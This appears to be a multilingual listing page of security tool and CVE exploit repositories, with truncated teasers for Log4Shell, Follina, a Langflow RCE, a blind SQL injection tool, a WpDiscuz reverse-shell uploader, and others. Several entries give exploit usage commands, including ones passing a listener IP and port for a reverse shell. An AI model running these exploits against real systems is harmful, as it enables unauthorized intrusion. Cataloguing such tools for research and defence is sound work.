andor

andor Blind SQL Injection Tool with Golang Usage Download andor.go and go to the folder where the file andor.go located. And type this to command prompt: go run andor.go --url "http://deneme.com/index.php?id=1" Note: Get parameter value must be correct, otherwise it will not work...

andor

andor Ferramenta de Injeção SQL Cega com Golang Uso Baixe o andor.go e vá para a pasta onde o arquivo andor.go está localizado. E digite no prompt de comando: go run andor.go --url "http://deneme.com/index.php?id=1" Nota: O valor do parâmetro Get deve estar correto, caso contrário não funcionará...

Exploit for Code Injection in Langflow

CVE-2025-3248 — Langflow Unauthenticated Remote Code Execution...

CVE-2022-30190

MS-MSDT Follina CVE-2022-30190 PoC Bösartiger DOCX-Generator zur Ausnutzung Microsoft Office Word Remotecodeausführung Die Erstellung dieses Skripts basiert auf CVE-2021-40444 PoC von LockedByte und Beitrag von Tothi Verwendung Zuerst backup.html bearbeiten und das PowerShell-Payload ersetzen. Im...

engine

Droidefense Engine Advance Android Malware Analysis Framework Latest release Download What Droidefense is Droidefense originally named atom: a nalysis t hrough o bservation m achine is the codename for android apps/malware analysis/reversing tool. It was built focused on security issues and trick...

engine

Droidefense Engine Erweitertes Android-Malware-Analyse-Framework Neueste Version Herunterladen Was Droidefense ist Droidefense ursprünglich atom genannt: a nalysis t hrough o bservation m achine ist der Codename für ein Werkzeug zur Analyse/Reverse-Engineering von Android-Apps/Malware. Es wurde m...

cve-2021-41773-checker

🛑 CVE-2021-41773 Verificatore CVE-2021-41773 Verificatore è uno strumento CLI basato su Python che controlla se un server web di destinazione è vulnerabile alla vulnerabilità di path traversal di Apache che colpisce Apache HTTP Server 2.4.49. È progettato come un proof of concept a scopo didattic...

CVE-2023-40028

Proof of Concept PoC für CVE-2023-40028 CVE-2023-40028 ist eine Schwachstelle in Ghost CMS, die durch unsachgemäße Dateiverarbeitung das beliebige Lesen von Dateien ermöglicht. Dieses PoC demonstriert, wie der Exploit unter kontrollierten Bedingungen funktioniert. Nur für Bildungszwecke. Referenz...

log4j-CVE-2021-44228

log4j-CVE-2021-44228 5 दिसंबर, 2021 को, Apache ने अपनी व्यापक रूप से उपयोग की जाने वाली Log4j लॉगिंग सेवा में एक कमजोरी की पहचान की जिसे बाद में CVE-2021-44228 के रूप में पहचाना गया। यह कमजोरी, जिसे Log4shell के नाम से भी जाना जाता है, हमलावरों को प्रभावित सर्वरों का पूर्ण नियंत्रण प्राप्त करने म...

TrafficWatch

TrafficWatch TrafficWatch, ein Packet-Sniffer-Tool, ermöglicht es Ihnen, Netzwerkverkehr aus PCAP-Dateien zu überwachen und zu analysieren. Es bietet Einblicke in verschiedene Netzwerkprotokolle und kann bei der Netzwerkfehlerbehebung, Sicherheitsanalyse und mehr helfen. Funktionen...

CVE-2024-2961

Buddyforms 2.7.7 CNEXT RCE Abusando di CVE-2024-2961 e CVE-2023–26326 per RCE Utilizzo root@kitploit: git-clone https://github.com/suce0155/CVE-2024-2961buddyforms2.7.7 pip install -r requirements.txt python3 buddyforms2.7.7cnextexploit.py http://site/wp-admin/admin-ajax.php ip port Analisi e...

LOG4J-CVE-2021-44228

LOG4J-CVE-2021-44228 Log4Shell — noto anche come CVE-2021-44228 — è una vulnerabilità critica che consente l'esecuzione remota di codice nei sistemi che utilizzano Log4j della Apache Foundation, una libreria Java open-source ampiamente utilizzata in prodotti software commerciali e open-source e...

CVE-2022-22947

CVE-2022-22947 CVE-2022-22947 Spring-Cloud-Gateway Im ersten Quartal 2022 wurde eine interessante und kritische Basisbewertung 10.0 Sicherheitslücke in Spring Cloud Gateway entdeckt, die eine Code-Injection über die Actuator-API zur Durchführung von SpEL-Injection ermöglicht und potenziell zu ein...

Drupal-cve-2019-6340

Forschung CVE 2019-6340 root@kitploit: Die Website als Drupal 8 Core RESTful API Services Modul wird aktiviert und erlaubt dem Benutzer, GET-, PATCH- oder POST-Anfragen an den Server zu senden. Eine GET-Anfrage reicht aus, um die Codeausführung-Schwachstelle auszulösen, auch wenn die PATCH-Method...

bash-CVE-2017-17562

bash-CVE-2017-17562 Un'implementazione PoC in Bash per CVE-2017-17562. Richiede curl per creare richieste HTTP. Basato sulle implementazioni di Metasploit e @fssecur3. Arguments The following arguments need to be set as they are required for reconnaissance + payload send: root@kitploit: $1: IP/Ho...

thematrix

TheMatrix Dieses Projekt wurde erstellt, um die Malware-Analyse zu erleichtern. Ziel ist es, eine Aktivator-Binärdatei zu erstellen, die eine benutzerdefinierte Binärdatei lädt und die Ausführung mithilfe von Win32-API-Hooks überwacht. Relevante Daten werden dann auf der Festplatte gespeichert. D...

infoooze

Infoooze Segnala un bug · Richiedi una funzionalità Indice 1. Informazioni su Infoooze Caratteristiche Supporto 2. Per iniziare Prerequisiti Installazione su Linux Installazione su Android Disinstallazione 3. Utilizzo Opzioni Esempi 4. Esecuzione con Gitpod 5. Contribuire 6. Licenza 7. Contatti...

React2Shell

React2Shell — Verwundbares Labor CVE-2025-55182 React2Shell ist eine absichtlich unsichere React.js-Anwendung, die für Bildungs- und Forschungszwecke im Zusammenhang mit CVE-2025-55182 bereitgestellt wird. Sie enthält bewusst unsicheren Code und darf nicht in der Produktion eingesetzt werden. Das...

CVE-2020-24186_reverse_shell_upload

Caricamento reverse shell per CVE-2020-24186 Exploit per WpDiscuz 7.0.4 basato sull'exploit scritto da h3v0x. Sfrutta la vulnerabilità e carica una reverse shell PHP. L'ispirazione è stata la Blogger CTF. exploit.py -u http://192.168.1.81/blog -p /wordpress/2021/06/blogpost -l '192.168.1.9' -s 90...

nat-tunnel

NAT Tunnel v0.01 Se hai accesso a un server con IP pubblico e porte non filtrate puoi eseguire il server NAT Tunnel NT sul server, e il client NT sulla tua macchina dietro NAT. Il server richiede 2 porte aperte: una per la comunicazione con il client NT --admin, l'altra per i client normali per...